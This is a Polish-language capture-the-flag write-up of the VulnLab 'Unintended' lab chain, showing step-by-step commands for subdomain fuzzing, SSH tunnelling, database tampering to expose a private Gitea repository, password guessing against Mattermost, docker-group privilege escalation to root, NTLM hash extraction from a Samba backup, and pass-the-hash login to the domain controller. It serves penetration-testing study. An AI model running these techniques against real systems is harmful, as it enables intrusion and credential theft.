Długo mnie nie było ale czas na powrót! Na start chain Unintended w którym mam do shakowania 3 adresy IP:

10.10.216.21
10.10.216.22
10.10.216.23

Wstępny rekonesans wskazuje na to że:

10.10.216.21 - linux DC
10.10.216.22 - WEB
10.10.216.23 - FTP

WEB aplikacja to statyczna strona w HTML, w której ujawniona jest domena z subdomeną Unintended-1.png Skoro aplikacja korzysta z subdomen to czas na wykonanie bruteforce subdomen:

ffuf -c -w /usr/share/seclists/Discovery/DNS/subdomains-top1million-5000.txt -H "Host: FUZZ.unintended.vl" -u http://web.unintended.vl  -fw 837

chat                    [Status: 200, Size: 3132, Words: 141, Lines: 1, Duration: 26ms]
code                    [Status: 200, Size: 13653, Words: 1050, Lines: 272, Duration: 103ms]

Na code.unintended.vl znajduje się Gitea, a na chat.unintended.vl jest Mattermost.

Gitea

W gitei znajduje się publiczne repozytorium Juan/DevOps, który posiada kilka commitów: Unintended-2.png Pewnie znajdą się tam jakieś hasełka ;) No i się nie myliłem: Unintended-3.png Unintended-4.png

Mam pierwsze dwa hasła czas sprawdzić gdzie mogę się nimi zalogować. Na SFTP nic nie ma, a próba połączenia się samym SSH daje błąd

(ftp_user@10.10.216.22) Password: 
This service allows sftp connect

Ale ale ale, to nie oznacza że nie mogę tego nadużyć. Czas na zestawienie tunelowania przy użyciu SSH

ssh -D 1081 -N ftp_user@10.10.216.22

Dzięki -N żadna komenda nie zostania wykonana na serwerze, a połączenie będzie “wisieć” co idealnie sprawdzi się do tunelowania.

web.unintended.vl - internal

Wewnętrzny skan wykrył dodatkowe porty

22/tcp   open  ssh      syn-ack
80/tcp   open  http     syn-ack
222/tcp  open  rsh-spx  syn-ack
3000/tcp open  ppp      syn-ack
3306/tcp open  mysql    syn-ack
8000/tcp open  http-alt syn-ack
8200/tcp open  trivnet1 syn-ack

Czas połączyć się z MySQL

proxychains -q mysql -u root -p -P 3306 -h localhost

MySQL [(none)]> show databases;
+--------------------+
| Database           |
+--------------------+
| gitea              |
| information_schema |
| mysql              |
| performance_schema |
| sys                |
+--------------------+

No i jest baza gitei, czas na enumerację! W users jest dwóch użytkowników

MySQL [gitea]> select lower_name,passwd,passwd_hash_algo from user;
+---------------+------------------------------------------------------------------------------------------------------+------------------+
| lower_name    | passwd                                                                                               | passwd_hash_algo |
+---------------+------------------------------------------------------------------------------------------------------+------------------+
| administrator | f57a3d5d199ac8054c709e665b4eb4842f0e172a253a96038be5ef9e6fe7b0290f2d715524883dd117ac309e878c1dbbe902 | pbkdf2$50000$50  |
| juan          | d8bf3dff89969075cd73cc1496942901ea132619454318cb37e4bec821d6867045bcbc0ac2905c2531ee5d6e6c5a475c9b51 | pbkdf2$50000$50  |
+---------------+------------------------------------------------------------------------------------------------------+------------------+

Warto zobaczyć czy są jakieś inne repozytoria.

MySQL [gitea]> select owner_name,lower_name,is_private from repository;

+------------+-------------+------------+
| owner_name | lower_name  | is_private |
+------------+-------------+------------+
| juan       | devops      |          0 |
| juan       | home-backup |          1 |
+------------+-------------+------------+

Ho ho, jest i prywatne repozytorium. Czas zmienić je z prywatnego na publiczne ;)

MySQL [gitea]> UPDATE repository SET is_private=0 WHERE id=7;
Query OK, 1 row affected (0.034 sec)
Rows matched: 1  Changed: 1  Warnings: 0

No i mamy kolejne repo. Jak widać jest tutaj zapisany plik .bash_history, warto sprawdzić co w nim się kryje Unintended-5.png No i mamy kolejne hasło, tutaj jest użyte jako passphrase do klucza ale może user używa go też do logowania Unintended-6.png

10.10.216.22

Znalezione hasło działa do Mattermost’a jak i w domenie i SSH na 10.10.216.22

Domena:

└─$ crackmapexec smb 10.10.216.21 -u "juan" -p "theJUANman2019" --shares
SMB         10.10.216.21    445    DC               [*] Windows 6.1 Build 0 (name:DC) (domain:unintended.vl) (signing:True) (SMBv1:False)
SMB         10.10.216.21    445    DC               [+] unintended.vl\juan:theJUANman2019 
SMB         10.10.216.21    445    DC               [+] Enumerated shares
SMB         10.10.216.21    445    DC               Share           Permissions     Remark
SMB         10.10.216.21    445    DC               -----           -----------     ------
SMB         10.10.216.21    445    DC               sysvol                          
SMB         10.10.216.21    445    DC               netlogon                        
SMB         10.10.216.21    445    DC               home                            Home Directories
SMB         10.10.216.21    445    DC               IPC$                            IPC Service (Samba 4.15.13-Ubuntu)

Mattermost: Unintended-7.png W celu zalogowania się do SSH trzeba pamiętać o podaniu domeny

┌──(kali㉿kali)-[~/Desktop/Kali/VULNLAB/Unintended]
└─$ ssh "juan@unintended.vl"@10.10.216.22
(juan@unintended.vl@10.10.216.22) Password: 
Welcome to Ubuntu 22.04.4 LTS (GNU/Linux 5.15.0-97-generic x86_64)

[...]
juan@unintended.vl@web:~$

Dalsza analiza Mattermost wykazała, że Juan ujawnił schemat hasła dla Abbie (theabbs) :D Unintended-8.png Używając BurpSuite Intruder wykonałem bruteforce na logowanie na Mattermost. Aby nie zablokować konta musiałem stworzyć nieduża wordlistę. Moje pierwsze założenie jest takie że raczej w haśle pierwsza litera będzie duża, druga to że pracownik raczej nie jest stary (bazując na używaniu emotek). Bazując na tym postawiłem na taki schemat:

Abbie1990-2000

Unintended-9.png BINGO! Udało się odgadnąć hasło użytkownika, czas zobaczyć o czym ciekawym on pisał. No i kto by się spodziewał :D, kolejne hasło Unintended-10.png

10.10.216.23

Na hoście 10.10.216.22 abbie nie miała specjalnych uprawnień więc zalogowałem się na 10.10.216.23 gdzie abbie była w grupie docker.

abbie@unintended.vl@backup:~$ id
uid=320201104(abbie@unintended.vl) gid=320200513(domain users@unintended.vl) groups=320200513(domain users@unintended.vl),119(docker)

Ha to będzie szybka eskalacja! Maszyna nie jest podłączona do internetu więc są dwa rozwiązania

  1. Skorzystanie z obecnie uruchomionych dockerów
  2. Pobranie lokalnie dockera i przesłanie go przy użyciu SSH

W tym przypadku wybrałem pierwszą opcję. Komende docker ps wykryłem obecnie uruchomiony docker, w którym szybko sprawdzę czy nie znajdują się ciekawe dane, a docker images posłuży mi do eskalacji uprawnień

abbie@unintended.vl@backup:~$ docker ps
CONTAINER ID   IMAGE                COMMAND           CREATED        STATUS          PORTS     NAMES
3b4fb11f4672   python:3.11.2-slim   "sh ./setup.sh"   2 months ago   Up 13 minutes             scripts_ftp_1

abbie@unintended.vl@backup:~$ docker exec scripts_ftp_1 -it /bin/bash
OCI runtime exec failed: exec failed: unable to start container process: exec: "-it": executable file not found in $PATH: unknown
abbie@unintended.vl@backup:~$ docker exec -it scripts_ftp_1 /bin/bash
root@ftp:/ftp# 

No i co my tu mamy, kolejne hasło 😎

root@ftp:/ftp# ls /
bin  boot  dev	etc  ftp  home	lib  lib64  media  mnt	opt  proc  root  run  sbin  srv  sys  tmp  usr	var
root@ftp:/ftp# ls
server.py  setup.sh  volumes
root@ftp:/ftp# cat server.py 
from pyftpdlib.authorizers import DummyAuthorizer
from pyftpdlib.handlers import FTPHandler
from pyftpdlib.servers import FTPServer

authorizer = DummyAuthorizer()

authorizer.add_user("ftp_admin", "u76n0wn287ak98f", "/ftp/volumes/", perm="elradfmw")

Dobra czas na eskalację uprawnień

abbie@unintended.vl@backup:~$ docker images
REPOSITORY   TAG           IMAGE ID       CREATED         SIZE
python       3.11.2-slim   4d2191666712   13 months ago   128MB

abbie@unintended.vl@backup:~$ docker run -v /:/mnt --rm -it 4d2191666712 chroot /mnt bash

root@bd7ab4558375:~# wc -c flag.txt 
37 flag.txt

Na FTP znajdują się dwa ciekawe katalogi

230 Login successful.
Remote system type is UNIX.
Using binary mode to transfer files.
ftp> ls
229 Entering extended passive mode (|||34383|).
150 File status okay. About to open data connection.
drw-rw----   2 root     root         4096 Jan 25 07:13 docker_src
drw-rw----   2 root     root         4096 Feb 17 20:33 domain_backup

W docker_src znajdują się pliki związane z Duplicati usługa uruchomioną na 10.10.216.22, a w domain_backup jest backup domeny:

-rw-rw----   1 root     root      1654914 Feb 17 20:33 samba-backup-2024-02-17T20-32-13.580437.tar.bz2

PWNing Domain

Po wypakowaniu archiwum poniże pliki zostały utworzone

backup.txt  etc  private  samba-backup-2024-02-17T20-32-13.580437.tar.bz2  state  sysvol.tar  unintended.vl  unintended.vl.NTACL

Najciekawsze są w private, w których między innymi znajduje się plik SAM, który w systemach windowsowych trzyma hasze użytkowników, a w przypadku Linuxowego AD znajdują się tam informację o AD:

-rwxrwxrwx 1 root root 4526080 Feb 17 15:32 sam.ldb

Teraz trzeba wykombinować jak wyciągnąć hasze z tego pliku. Jedną z charakterystycznych rzeczy dla Linuxowego AD jest flaga unicodePwd, która to trzyma hasło / hash NTLM użytkownika. W celu wydobycia tej flagi użyłem programu ldbsearch:

ldbsearch -H ./sam.ldb '(&(objectclass=person)(name=Administrator))' name unicodePwd      
Unknown parameter encountered: "commend"
Ignoring unknown parameter "commend"
# record 1
dn: CN=Administrator,CN=Users,DC=unintended,DC=vl
name: Administrator
unicodePwd:: Nv4kHqDqpTPV+si9f7b4ow==

No i elegancko, teraz wystarczy przekonwertować tego base64 na hasz. W tym celu należy odkodować go z base64 i przekonwertować na HEX. No i teraz można zalogować się w AD 🎃

W tym celu użyję smbclient i połączę się do //10.10.216.21/home

┌──(kali㉿kali)-[~/…/VULNLAB/Unintended/backup/private]
└─$ smbclient -W unintended.vl -U Administrator%36fe241ea0eaa533d5fac8bd7fb6f8a3 --pw-nt-hash //10.10.216.21/home
Try "help" to get a list of possible commands.
smb: \> ls
  .                                   D        0  Sat Mar 30 04:37:08 2024
  ..                                  D        0  Sat Feb 24 15:13:16 2024
  .profile                            H      807  Sat Feb 24 15:13:16 2024
  .cache                             DH        0  Sat Feb 24 15:13:16 2024
  .bashrc                             H     3771  Sat Feb 24 15:13:16 2024
  .bash_logout                        H      220  Sat Feb 24 15:13:16 2024
  root.txt                            N       37  Sat Mar 30 04:37:08 2024

No i finito jest flaga z kontrolera, do zo na następnym hakowaniu 💪